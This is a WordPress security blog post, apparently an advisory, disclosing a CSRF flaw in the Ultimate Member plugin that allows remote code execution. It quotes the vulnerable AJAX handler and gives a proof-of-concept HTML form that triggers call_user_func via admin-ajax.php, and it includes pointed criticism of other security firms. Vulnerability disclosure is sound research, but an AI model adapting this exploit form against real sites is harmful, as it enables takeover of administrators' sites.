Our Plugin Security Checker Already Detected a Remote Code Execution (RCE) Vulnerability in a WordPress Plugin with 100,000+ Installs
Last Friday after we discovered a remote code execution (RCE) vulnerability in a WordPress plugin through our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities we noted that we had updated our Plugin Security Checker to have the same check:
Now that we have actually run across a plugin that got flagged by the check that spotted this we have now added it to our Plugin Security Checker, so when you run plugins through that they will now get check for this as well (though hopefully there are not other plugins that are this insecure).
We had actually added two checks, as in addition the check that had spotted that vulnerability we added another check for detection of more complex instances of that type of vulnerable code. Bad news, it only took until yesterday for someone to check a plugin with that tool that lead to that second check catching a possible vulnerability. The good news, especially considering the plugin has 100,000+ active installations according to wordpress.org, while there is a vulnerability, it is harder to exploit than the one we spotted last week, so it wouldn’t likely be used against the average website, but could be used in a targeted attack. That there is this type of vulnerability in such a popular plugin that the possibility of can be identified by that tool seems like another good reason to check the plugins you use through the tool to see if there are any possible issues of that type that need to be further looked into.
The plugin this vulnerability is in, Ultimate Member, isn’t really surprising if you follow our blog. Back in August we discussed that an unfixed vulnerability in the plugin was being widely exploited and the developer had known about it for at least days but still had not got around to releasing a fix. At that point we were already aware of another less serious vulnerability, a reflected cross-site scripting (XSS) vulnerability, which had been spotted when the plugin had previously been run through the Plugin Security Checker. It took the developer nearly a month to fix that after we had notified them of that vulnerability. It turned out that the time it took wasn’t because they were fully reviewing the code to make sure there were no similar issues, as a month later, right after we added an additional check for that type of vulnerability, it picked that up another reflected XSS vulnerability in that plugin. It took over three weeks for that to be fixed.
That this plugin continues to be so insecure that our Plugin Security Checker keeps being able to pick up possible issues that turn out vulnerabilities is a good indication that the security of it is not being properly handled. What makes that more obvious would be the slow response to vulnerability that was widely exploited and that then brings up one of the many problems when it comes to the WordPress community understanding security risks. If you were getting security information from at least one other security company or others repeating them, you would have incorrectly believed that vulnerability was fixed and then exploited instead of the other way around. Here is what the security company Sucuri wrote about it:
When vulnerabilities are disclosed, the volume of opportunistic attacks often immediately increases. Hackers are vigilant and monitor closely for changes of popular themes and plugins. If a bad actor sees that a security issue has been fixed, they will try to create exploits for older versions to target vulnerable sites who haven’t yet patched to the latest available version.
Because Sucuri is not good at what they do (and apparently don’t follow our blog) they incorrectly believed that the vulnerability started being exploited after it was fixed, instead of before.
Then others repeated that claim, instead on informing people of the truth, that what happened there indicated there is a larger issue with proper handling of the security of the plugin.
Here was InMotion Hosting:
As Sucuri states, “If a [hacker] bad actor sees that a security issue has been fixed, they will try to create exploits for older versions to target vulnerable sites who haven’t yet patched to the latest available version.”
And Nexcess:
In this case, the developers of Ultimate Member did exactly what they were supposed to. The presence of the vulnerability was unfortunate, but any complex software is likely to develop such problems at some point in its life. Of more importance is the fact that it was patched promptly when the vulnerability was discovered.
To make that all worse you have the people running the moderation of the support forum for WordPress that repeatedly promote Sucuri in violation of their own guidelines. Promoting a security company that is spreading false information about the security of WordPress plugins seems like a decided negative for the WordPress community.
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).
Technical Details
The plugin makes the function populate_dropdown_options() available to anyone logged in to WordPress through its AJAX functionality:
28 | add_action( 'wp_ajax_um_populate_dropdown_options', array( UM()->builder(), 'populate_dropdown_options' ) ); |
The function, which is located in the file /includes/admin/core/class-admin-builder.php, does restrict who can access it, so that only those with the “manage_options” capability can access it (which normally only users with the Administrator role):
1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 | function populate_dropdown_options() { $arr_options = array(); if ( ! current_user_can('manage_options') ) { wp_die( __( 'This is not possible for security reasons.', 'ultimate-member' ) ); } $um_callback_func = $_POST['um_option_callback']; if ( empty( $um_callback_func ) ) { $arr_options['status'] = 'empty'; $arr_options['function_name'] = $um_callback_func; $arr_options['function_exists'] = function_exists( $um_callback_func ); } $arr_options['data'] = array(); if ( function_exists( $um_callback_func ) ) { $arr_options['data'] = call_user_func( $um_callback_func ); |
But the function doesn’t include protection against cross-site request forgery (CSRF), so if an attacker could cause someone logged in as Administrator to access a page they control, they could cause the code to be run by the Administrator without them intending it.
When the code runs the value of the POST input “um_option_callback” is set to the variable $um_callback_func and then that is passed through the call_user_func() function, which permits any “built-in or user-defined function” to be run, which would be remote code execution.
Proof of Concept
The following proof of concept will show the results of running the function phpinfo(), when logged in as an Administrator.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=um_populate_dropdown_options" method="POST"> <input type="hidden" name="um_option_callback" value="phpinfo" /> <input type="submit" value="Submit" /> </form> </body> </html>